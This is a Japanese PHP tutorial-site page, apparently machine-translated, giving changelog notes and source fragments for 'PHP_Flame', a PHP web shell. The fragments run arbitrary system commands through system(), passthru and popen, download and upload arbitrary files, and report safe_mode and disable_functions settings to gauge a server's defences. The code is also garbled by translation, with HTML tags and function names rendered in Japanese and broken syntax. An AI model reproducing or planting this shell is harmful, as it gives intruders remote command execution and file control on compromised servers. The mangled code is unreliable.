ホームページ > php教程 > php手册 > PHP_Flameのオリジナルコード(Version:Progress)

PHP_Flameのオリジナルコード(Version:Progress)

WBOY
リリース: 2016-06-13 12:44:26
オリジナル
879 人が閲覧しました


私 PHP_Flame に関するいくつかの情報 (バージョン: Progress):



*ファイルをダウンロードできないバグを修正
*前のレベルに戻れないバグを修正
*コード編集の見た目を修正 誤ったバグ
....

* PHPINFO の機能を追加
* 複数のファイルをダウンロードする機能を追加
* の機能を追加システムコマンドの実行
* コードビューの追加 機能
* サーバーセキュリティ検出機能の追加
....

* 美化作業も多数あります。 。 。 。 。 。 関連情報:


1.前のレベルに戻れないバグ コードを修正しました:
echo "前のレベルに戻る"; ><🎜><🎜>2.ファイルをダウンロードできないことに関連するコードを修正しました:
case "download":
if (!@is_file($_GET['file_name']))
echo "ダウンロードしたいファイルは、存在します";
$filename =basename($_GET['file_name']);
$filename_info =explode('.', $filename);
$fileext = $filename_info[count($filename_info) -1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition:attachment; filename='.$filename);コンテンツの説明: PHP3 で生成されたデータ');
readfile($_GET['file_name']);



3.コード表示機能を追加



4.コード編集時のエラーを修正しました:
$tem= str_replace("/textarea>","//textarea>",$tem); 。 。 。 。
$tem= str_replace("//textarea>","/textarea>",$tem);


5.サーバーセキュリティ検出関数を追加します:
if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var( "disable_functions");
if ($dis_func=="")
{
echo("値なし" );
}
else
{
$dis_func=str_replace(" ","
",$dis_func); ;br>",$dis_func);
echo("$dis_func");
}


6.実行システムのコマンド部分の代コード:
if ($actionaa=="cmd") { ?>
<ボディ bgcolor="#6595d6">


<名前="メソッド" を選択>
<オプション値="システム" >システム
<オプション値="パススルー" >パススルー












if (!$method) { $method="システム"; }
if (!$cmd) {
echo "* JSW の PHP FLAME
";
echo "* 著者: JSW
";
echo "*safe_mode:";if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("値なし");
}
else
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
",$dis_func);
echo("$dis_func");
}

echo "
* 関数を選択してコマンドを入力してください....";
}
echo "
"; <br>if ($method=="system") { <br>system("$cmd 2>>&1"); <br>} <br>if ($method=="パススルー") { <br>パススルー("$cmd 2>>&1"); <br>} <br>if ($method=="opendir") { <br>$h=opendir($cmd); <br>while($file=readdir($h)) { <br>echo "$filen"; <br>} <br>} <br>if ($method=="show_source") { <br>if (show_source($cmd)) { <br>//echo "<pre class="brush:php;toolbar:false">"; <br>//エコー show_source($file); <br>//エコー "
";
} else {
echo "<script>alert("ファイルを読み取れません: $file using: show_source"); </script>";
}

}
if ($method=="popen") {
$pp = Popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo "";
終了;
}
?>

7。ファイルアップロードコードを追加します:
if($dir=="")
?> if($tools==upload)
{
for($i=1;$i<21;$i )
{
$temp1="userfile".$i
$temp2="userfile".$i."_name";
$source=$$temp1;
if(@$source!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
@chmod( $ filedir,0777);
if(file_exists("$filedir/$source_name")=="1")
{
if($up_flag=="y")
{
@unlink($filedir/$source_name);
@copy($source,"$filedir/$source_name");
echo $source_name."上書きされアップロードされました
}
else
echo $source_name."再アップロードしてください!
";
}
else
{
@copy($source,"$filedir/$source_name" ) ;
echo $source_name."アップロード済み

}
}
}//
echo"


JSW の PHP FLAME
t.css rel=stylesheet type=text/css>
最新の問題
人気のおすすめ
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート